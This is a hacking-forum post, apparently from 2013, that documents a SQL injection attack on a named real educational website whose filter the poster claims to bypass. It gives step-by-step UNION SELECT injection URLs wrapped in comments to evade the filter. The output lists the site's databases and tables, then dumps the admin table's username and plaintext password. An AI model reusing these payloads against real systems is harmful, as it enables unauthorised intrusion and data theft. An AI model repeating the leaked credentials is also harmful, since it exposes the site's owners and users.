Keine Antworten in diesem Thema

[Haz4rd]

Its "secured" by Mod_Security.

Get Databases:

http://www.brilliantstudent.in/games.php?id=-2 */!union select 1,2,group_concat(schema_name),4,5,6,7 from information_schema.schemata */-- -

information_schema,brill2_brilliantstudent,brill2_labourindia

Get Tables:

http://www.brilliantstudent.in/games.php?id=-2 union /*!select 1,2,concat(table_name),4,5,6,7 from information_schema.tables where table_schema = database() limit 0,9999*/ -- -

Khel_attemptanswer
Khel_attempts
Khel_gift
Khel_user
bs_admin
bs_career
bs_categorymaster
bs_categorymasterlog
bs_chaptermast
bs_class
bs_dddetails
bs_downloads
bs_ejournal
bs_ejournalcnt
bs_ejournalfiles
bs_ejournalfilestwo
bs_ejournalmaster
bs_experts_arties
bs_expertsmaster
bs_freemail
bs_gamecategory
bs_games
bs_journalitem
bs_kerala
bs_keralacategorymaster
bs_keralachaptermast
bs_keralamaster
bs_keralaotherinfo
bs_keralasubjmast
bs_media
bs_misc
bs_news
bs_news_category
bs_newsevents
bs_otherinfo
bs_otherprdtintro
bs_otherproduct
bs_purchasedetails
bs_purchaseditems
bs_referalhit
bs_shoppingintro
bs_state_category
bs_state_content
bs_state_subject
bs_subjmast
bs_terms
bs_userdetails
bs_userlog
gallery_management
glossarymaster
khel_master
khel_questions
phpbb_acl_groups
phpbb_acl_options
phpbb_acl_roles
phpbb_acl_roles_data
phpbb_acl_users
phpbb_attachments
phpbb_banlist
phpbb_bbcodes
phpbb_bookmarks
phpbb_bots
phpbb_config
phpbb_confirm
phpbb_disallow
phpbb_drafts
phpbb_extension_groups
phpbb_extensions
phpbb_forums
phpbb_forums_access
phpbb_forums_track
phpbb_forums_watch
phpbb_groups
phpbb_icons
phpbb_lang
phpbb_log
phpbb_moderator_cache
phpbb_modules
phpbb_poll_options
phpbb_poll_votes
phpbb_posts
phpbb_privmsgs
phpbb_privmsgs_folder
phpbb_privmsgs_rules
phpbb_privmsgs_to
phpbb_profile_fields
phpbb_profile_fields_data
phpbb_profile_fields_lang
phpbb_profile_lang
phpbb_ranks
phpbb_reports
phpbb_reports_reasons
phpbb_search_results
phpbb_search_wordlist
phpbb_search_wordmatch
phpbb_sessions
phpbb_sessions_keys
phpbb_sitelist
phpbb_smilies
phpbb_styles
phpbb_styles_imageset
phpbb_styles_imageset_data
phpbb_styles_template
phpbb_styles_template_data
phpbb_styles_theme
phpbb_topics
phpbb_topics_posted
phpbb_topics_track
phpbb_topics_watch
phpbb_user_group
phpbb_users
phpbb_warnings
phpbb_words
phpbb_zebra
quizanswers
quizattempts
quizcategory
quizmaster
quizquestion
quizquestionmaster
studanswers
wp_comments
wp_links
wp_options
wp_postmeta
wp_posts
wp_term_relationships
wp_term_taxonomy
wp_terms
wp_usermeta
wp_users

Get Columns:

http://www.brilliantstudent.in/games.php?id=-2 union /*!select 1,2,concat_ws(0x203a20,column_name),4,5,6,7 from information_schema.columns where table_name = 0x62735f61646d696e limit 0,999*/ -- -

ad_id,ad_name,ad_password

Get Data:

http://www.brilliantstudent.in/games.php?id=-2 union /*!select 1,2,group_concat(concat_ws(0x203a20,ad_id,ad_name,ad_password)),4,5,6,7 from brill2_brilliantstudent.bs_admin limit 0,999*/ -- -

1 : brill : brill1220

Bearbeitet von Haz4rd, 06 December 2013 - 02:15 Uhr.